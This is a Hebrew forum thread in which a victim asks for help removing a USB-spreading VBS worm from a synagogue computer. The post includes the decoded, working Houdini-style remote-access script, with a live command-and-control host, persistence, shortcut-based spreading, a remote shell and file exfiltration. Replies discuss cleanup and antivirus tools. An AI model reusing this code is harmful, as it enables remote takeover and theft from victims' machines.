דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
46 פוסטים 16 כותבים 515 צפיות 14 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • ר רנדומלי

    בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

    cmd /c hrxxryydxo.vbs && start explorer [file name]
    

    הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

    לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

    תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

    לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

    z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
    

    בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
    לאחר פיענוח הקידוד התקבל הקוד הבא:
    אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

    e
    '<[ recoder : houdini (c) skype : houdini-fx ]>
    
    '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    
    host = "khattab.no-ip.biz"
    port = 5550
    installdir = "%temp%"
    lnkfile = true
    lnkfolder = true
    
    '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
    
    dim shellobj 
    set shellobj = wscript.createobject("wscript.shell")
    dim filesystemobj
    set filesystemobj = createobject("scripting.filesystemobject")
    dim httpobj
    set httpobj = createobject("msxml2.xmlhttp")
    
    '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
    
    installname = wscript.scriptname
    startup = shellobj.specialfolders ("startup") & "\"
    installdir = shellobj.expandenvironmentstrings(installdir) & "\"
    if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
    spliter = "<" & "|" & ">"
    sleep = 5000 
    dim response
    dim cmd
    dim param
    info = ""
    usbspreading = ""
    startdate = ""
    dim oneonce
    
    '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
    on error resume next
    
    instance
    while true
    
    install
    
    response = ""
    response = post ("is-ready","")
    cmd = split (response,spliter)
    select case cmd (0)
    case "excecute"
          param = cmd (1)
          execute param
    case "update"
          param = cmd (1)
          oneonce.close
          set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
          oneonce.write param
          oneonce.close
          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
          wscript.quit 
    case "uninstall"
          uninstall
    case "send"
          download cmd (1),cmd (2)
    case "site-send"
          sitedownloader cmd (1),cmd (2)
    case "recv"
          param = cmd (1)
          upload (param)
    case  "enum-driver"
          post "is-enum-driver",enumdriver  
    case  "enum-faf"
          param = cmd (1)
          post "is-enum-faf",enumfaf (param)
    case  "enum-process"
          post "is-enum-process",enumprocess   
    case  "cmd-shell"
          param = cmd (1)
          post "is-cmd-shell",cmdshell (param)  
    case  "delete"
          param = cmd (1)
          deletefaf (param) 
    case  "exit-process"
          param = cmd (1)
          exitprocess (param) 
    case  "sleep"
          param = cmd (1)
          sleep = eval (param)        
    end select
    
    wscript.sleep sleep
    
    wend
    
    sub install
    on error resume next
    dim lnkobj
    dim filename
    dim foldername
    dim fileicon
    dim foldericon
    
    upstart
    for each drive in filesystemobj.drives
    
    if  drive.isready = true then
    if  drive.freespace  > 0 then
    if  drive.drivetype  = 1 then
        filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
        if  filesystemobj.fileexists (drive.path & "\" & installname)  then
            filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
        end if
        for each file in filesystemobj.getfolder( drive.path & "\" ).Files
            if not lnkfile then exit for
            if  instr (file.name,".") then
                if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                    file.attributes = 2+4
                    if  ucase (file.name) <> ucase (installname) then
                        filename = split(file.name,".")
                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                        lnkobj.windowstyle = 7
                        lnkobj.targetpath = "cmd.exe"
                        lnkobj.workingdirectory = ""
                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                        fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                        if  instr (fileicon,",") = 0 then
                            lnkobj.iconlocation = file.path
                        else 
                            lnkobj.iconlocation = fileicon
                        end if
                        lnkobj.save()
                    end if
                end if
            end if
        next
        for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
            if not lnkfolder then exit for
            folder.attributes = 2+4
            foldername = folder.name
            set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
            lnkobj.windowstyle = 7
            lnkobj.targetpath = "cmd.exe"
            lnkobj.workingdirectory = ""
            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
            foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
            if  instr (foldericon,",") = 0 then
                lnkobj.iconlocation = folder.path
            else 
                lnkobj.iconlocation = foldericon
            end if
            lnkobj.save()
        next
    end If
    end If
    end if
    next
    err.clear
    end sub
    
    sub uninstall
    on error resume next
    dim filename
    dim foldername
    
    shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    filesystemobj.deletefile startup & installname ,true
    filesystemobj.deletefile wscript.scriptfullname ,true
    
    for  each drive in filesystemobj.drives
    if  drive.isready = true then
    if  drive.freespace  > 0 then
    if  drive.drivetype  = 1 then
        for  each file in filesystemobj.getfolder ( drive.path & "\").files
             on error resume next
             if  instr (file.name,".") then
                 if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                     file.attributes = 0
                     if  ucase (file.name) <> ucase (installname) then
                         filename = split(file.name,".")
                         filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                     else
                         filesystemobj.deletefile (drive.path & "\" & file.name)
                     end If
                 else
                     filesystemobj.deletefile (file.path) 
                 end if
             end if
         next
         for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
             folder.attributes = 0
         next
    end if
    end if
    end if
    next
    wscript.quit
    end sub
    
    function post (cmd ,param)
    
    post = param
    httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
    httpobj.setrequestheader "user-agent:",information
    httpobj.send param
    post = httpobj.responsetext
    end function
    
    function information
    on error resume next
    if  inf = "" then
        inf = hwid & spliter 
        inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
        inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
    
        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        set os = root.execquery ("select * from win32_operatingsystem")
        for each osinfo in os
           inf = inf & osinfo.caption & spliter  
           exit for
        next
        inf = inf & "plus" & spliter
        inf = inf & security & spliter
        inf = inf & usbspreading
        information = inf  
    else
        information = inf
    end if
    end function
    
    sub upstart ()
    on error resume Next
    
    shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
    filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
    
    end sub
    
    function hwid
    on error resume next
    
    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set disks = root.execquery ("select * from win32_logicaldisk")
    for each disk in disks
        if  disk.volumeserialnumber <> "" then
            hwid = disk.volumeserialnumber
            exit for
        end if
    next
    end function
    
    function security 
    on error resume next
    
    security = ""
    
    set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
    for each objitem in colitems
        versionstr = split (objitem.version,".")
    next
    versionstr = split (colitems.version,".")
    osversion = versionstr (0) & "."
    for  x = 1 to ubound (versionstr)
         osversion = osversion &  versionstr (i)
    next
    osversion = eval (osversion)
    if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
    
    set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
    Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
    
    for each objantivirus in colantivirus
        security  = security  & objantivirus.displayname & " ."
    next
    if security  = "" then security  = "nan-av"
    end function
    
    function instance
    on error resume next
    
    usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
    if usbspreading = "" then
       if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
          usbspreading = "true - " & date
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
       else
          usbspreading = "false - " & date
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
    
       end if
    end If
    
    
    upstart
    set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
    set installfullnameshort =  filesystemobj.getfile (installdir & installname)
    if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
        wscript.quit 
    end If
    err.clear
    set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
    if  err.number > 0 then wscript.quit
    end function
    
    sub sitedownloader (fileurl,filename)
    
    strlink = fileurl
    strsaveto = installdir & filename
    set objhttpdownload = createobject("msxml2.xmlhttp" )
    objhttpdownload.open "get", strlink, false
    objhttpdownload.send
    
    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
     
    if objhttpdownload.status = 200 then
       dim  objstreamdownload
       set  objstreamdownload = createobject("adodb.stream")
       with objstreamdownload
            .type = 1 
            .open
            .write objhttpdownload.responsebody
            .savetofile strsaveto
            .close
       end with
       set objstreamdownload = nothing
    end if
    if objfsodownload.fileexists(strsaveto) then
       shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
    end sub
    
    sub download (fileurl,filedir)
    
    if filedir = "" then 
       filedir = installdir
    end if
    
    strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
    set objhttpdownload = createobject("msxml2.xmlhttp")
    objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
    objhttpdownload.send ""
         
    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
    if  objhttpdownload.status = 200 then
        dim  objstreamdownload
        set  objstreamdownload = createobject("adodb.stream")
        with objstreamdownload 
             .type = 1 
             .open
             .write objhttpdownload.responsebody
             .savetofile strsaveto
             .close
        end with
        set objstreamdownload  = nothing
    end if
    if objfsodownload.fileexists(strsaveto) then
       shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
    end sub
    
    function upload (fileurl)
    
    dim  httpobj,objstreamuploade,buffer
    set  objstreamuploade = createobject("adodb.stream")
    with objstreamuploade 
         .type = 1 
         .open
         .loadfromfile fileurl
         buffer = .read
         .close
    end with
    set objstreamdownload = nothing
    set httpobj = createobject("msxml2.xmlhttp")
    httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
    httpobj.send buffer
    end function
    
    function enumdriver ()
    
    for  each drive in filesystemobj.drives
    if   drive.isready = true then
         enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
    end if
    next
    end Function
    
    function enumfaf (enumdir)
    
    enumfaf = enumdir & spliter
    for  each folder in filesystemobj.getfolder (enumdir).subfolders
         enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
    next
    
    for  each file in filesystemobj.getfolder (enumdir).files
         enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
    
    next
    end function
    
    function enumprocess ()
    
    on error resume next
    
    set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_process",,48)
    
    dim objitem
    for each objitem in colitems
        enumprocess = enumprocess & objitem.name & "|"
        enumprocess = enumprocess & objitem.processid & "|"
        enumprocess = enumprocess & objitem.executablepath & spliter
    next
    end function
    
    sub exitprocess (pid)
    on error resume next
    
    shellobj.run "taskkill /F /T /PID " & pid,7,true
    end sub
    
    sub deletefaf (url)
    on error resume next
    
    filesystemobj.deletefile url
    filesystemobj.deletefolder url
    
    end sub
    
    function cmdshell (cmd)
    
    dim httpobj,oexec,readallfromany
    
    set oexec = shellobj.exec ("%comspec% /c " & cmd)
    if not oexec.stdout.atendofstream then
       readallfromany = oexec.stdout.readall
    elseif not oexec.stderr.atendofstream then
       readallfromany = oexec.stderr.readall
    else 
       readallfromany = ""
    end if
    
    cmdshell = readallfromany
    end function
    
    ה נא לא להפריע
    ה נא לא להפריע
    היפ הופ
    כתב נערך לאחרונה על ידי
    #35

    @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

    גם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

    אם זה עדיין רלוונטי אני יכול לדאוג לך לכל מיני בינות....

    תגובה 1 תגובה אחרונה
    0
    • א אור אור אור

      פוסט זה נמחק!

      ה מנותק
      ה מנותק
      המלאך
      כתב נערך לאחרונה על ידי המלאך
      #36

      @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

      אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
      בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

      צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

      לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

      בחר ב-"פנקס רשימות" (Notepad).

      חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

      לחץ על אישור.

      התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

      @cfopuser הדרך הזו לא מסוכנת?
      כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
      או שיריץ דרך הפאואר שיל, הcmd?

      cfopuserC תגובה 1 תגובה אחרונה
      0
      • ה המלאך

        @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

        אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
        בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

        צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

        לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

        בחר ב-"פנקס רשימות" (Notepad).

        חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

        לחץ על אישור.

        התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

        @cfopuser הדרך הזו לא מסוכנת?
        כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
        או שיריץ דרך הפאואר שיל, הcmd?

        cfopuserC מנותק
        cfopuserC מנותק
        cfopuser
        כתב נערך לאחרונה על ידי
        #37

        @המלאך ai...
        לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

        ה מתכנת חובבמ 2 תגובות תגובה אחרונה
        0
        • cfopuserC cfopuser

          @המלאך ai...
          לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

          ה מנותק
          ה מנותק
          המלאך
          כתב נערך לאחרונה על ידי
          #38

          @cfopuser 1000204791.jpg

          תגובה 1 תגובה אחרונה
          0
          • A AMDesign

            @תלמידהון
            למען האמת שאין לי מושג באמת (משתמש במק שלא מצוי כ״כ וירוסים אז אין לי אנטי וירוס) אבל כך ידוע שאיסט הכי טוב.
            דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

            מתכנת חובבמ מנותק
            מתכנת חובבמ מנותק
            מתכנת חובב
            מדריכים
            כתב נערך לאחרונה על ידי
            #39

            @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

            דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

            דיפנדר מעולה
            אולי בעבר הדי רחוק היה לו שם רע
            כיום כמעט כל האנטי וירוסים הרציניים מקבלים ציונים גבוהים במבחנים ואין כמעט עדיפות של אחד על האחר אצל המשתמש הביתי מעבר לשיקולי מחיר ופיצ'רים

            צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

            A תגובה 1 תגובה אחרונה
            4
            • מתכנת חובבמ מתכנת חובב

              @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

              דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

              דיפנדר מעולה
              אולי בעבר הדי רחוק היה לו שם רע
              כיום כמעט כל האנטי וירוסים הרציניים מקבלים ציונים גבוהים במבחנים ואין כמעט עדיפות של אחד על האחר אצל המשתמש הביתי מעבר לשיקולי מחיר ופיצ'רים

              A מחובר
              A מחובר
              AMDesign
              כתב נערך לאחרונה על ידי
              #40

              @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

              כיום כמעט כל האנטי וירוסים הרציניים

              ואלו הם?

              מתכנת חובבמ תגובה 1 תגובה אחרונה
              0
              • cfopuserC cfopuser

                @המלאך ai...
                לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

                מתכנת חובבמ מנותק
                מתכנת חובבמ מנותק
                מתכנת חובב
                מדריכים
                כתב נערך לאחרונה על ידי
                #41

                @cfopuser כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

                אין עניין לציין מה שאי אפשר \ לא כדאי לחסום
                כלומר אם הוא יכול להתקין ולעדכן באופן שוטף אנטי וירוס - מעולה ואם לא - לא חושב שכדאי לו לחסום כל מה שזז כי אז הוא עלול להיתקל בהרבה בעיות אחרות
                לדעתי חסימה של VBS והרצה של תיקון הכללי יספיקו לרוב ככל הוירוסים שמעבירים את עצמם דרך התקנים ניידים

                צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                תגובה 1 תגובה אחרונה
                0
                • A AMDesign

                  @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  כיום כמעט כל האנטי וירוסים הרציניים

                  ואלו הם?

                  מתכנת חובבמ מנותק
                  מתכנת חובבמ מנותק
                  מתכנת חובב
                  מדריכים
                  כתב נערך לאחרונה על ידי מתכנת חובב
                  #42

                  @AMDesign הרציניים = רשימה ארוכה של הרבה מאוד אנטי וירוסים מוכרים שאינם אלו שידועים לשמצה

                  צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                  תגובה 1 תגובה אחרונה
                  2
                  • ר מנותק
                    ר מנותק
                    רנדומלי
                    כתב נערך לאחרונה על ידי
                    #43

                    תודה לכל המסייעים. מסתבר שמישהו מ"המנהלים" שיש לו גישה למחשב השבית אנטיוירוס על מנת להדפיס איזה קובץ מהאונקי שלו...

                    ביצעתי את ההצעות הרלוונטיות, כרגע למחשב שלום. מקווה שכך יהיה גם בעתיד. הנחיות אבטחת המידע חודדו והובנו.

                    A תגובה 1 תגובה אחרונה
                    1
                    • ר רנדומלי

                      תודה לכל המסייעים. מסתבר שמישהו מ"המנהלים" שיש לו גישה למחשב השבית אנטיוירוס על מנת להדפיס איזה קובץ מהאונקי שלו...

                      ביצעתי את ההצעות הרלוונטיות, כרגע למחשב שלום. מקווה שכך יהיה גם בעתיד. הנחיות אבטחת המידע חודדו והובנו.

                      A מנותק
                      A מנותק
                      ARISH
                      כתב נערך לאחרונה על ידי
                      #44

                      @רנדומלי אשמח לדעת באיזה מהתיקונים שהובאו השתמשת על מנת לדעת מה היעיל מבינהם או למישהו אחר שיעשה סדר בכל הדברים שהועלו כאן על מנת שנוכל לצאת עם דבר ברור מה באמת יעיל.

                      תגובה 1 תגובה אחרונה
                      0
                      • ר רנדומלי

                        בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                        cmd /c hrxxryydxo.vbs && start explorer [file name]
                        

                        הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                        לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                        תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                        לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                        z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                        

                        בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                        לאחר פיענוח הקידוד התקבל הקוד הבא:
                        אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                        e
                        '<[ recoder : houdini (c) skype : houdini-fx ]>
                        
                        '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                        
                        host = "khattab.no-ip.biz"
                        port = 5550
                        installdir = "%temp%"
                        lnkfile = true
                        lnkfolder = true
                        
                        '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                        
                        dim shellobj 
                        set shellobj = wscript.createobject("wscript.shell")
                        dim filesystemobj
                        set filesystemobj = createobject("scripting.filesystemobject")
                        dim httpobj
                        set httpobj = createobject("msxml2.xmlhttp")
                        
                        '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                        
                        installname = wscript.scriptname
                        startup = shellobj.specialfolders ("startup") & "\"
                        installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                        if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                        spliter = "<" & "|" & ">"
                        sleep = 5000 
                        dim response
                        dim cmd
                        dim param
                        info = ""
                        usbspreading = ""
                        startdate = ""
                        dim oneonce
                        
                        '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                        on error resume next
                        
                        instance
                        while true
                        
                        install
                        
                        response = ""
                        response = post ("is-ready","")
                        cmd = split (response,spliter)
                        select case cmd (0)
                        case "excecute"
                              param = cmd (1)
                              execute param
                        case "update"
                              param = cmd (1)
                              oneonce.close
                              set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                              oneonce.write param
                              oneonce.close
                              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                              wscript.quit 
                        case "uninstall"
                              uninstall
                        case "send"
                              download cmd (1),cmd (2)
                        case "site-send"
                              sitedownloader cmd (1),cmd (2)
                        case "recv"
                              param = cmd (1)
                              upload (param)
                        case  "enum-driver"
                              post "is-enum-driver",enumdriver  
                        case  "enum-faf"
                              param = cmd (1)
                              post "is-enum-faf",enumfaf (param)
                        case  "enum-process"
                              post "is-enum-process",enumprocess   
                        case  "cmd-shell"
                              param = cmd (1)
                              post "is-cmd-shell",cmdshell (param)  
                        case  "delete"
                              param = cmd (1)
                              deletefaf (param) 
                        case  "exit-process"
                              param = cmd (1)
                              exitprocess (param) 
                        case  "sleep"
                              param = cmd (1)
                              sleep = eval (param)        
                        end select
                        
                        wscript.sleep sleep
                        
                        wend
                        
                        sub install
                        on error resume next
                        dim lnkobj
                        dim filename
                        dim foldername
                        dim fileicon
                        dim foldericon
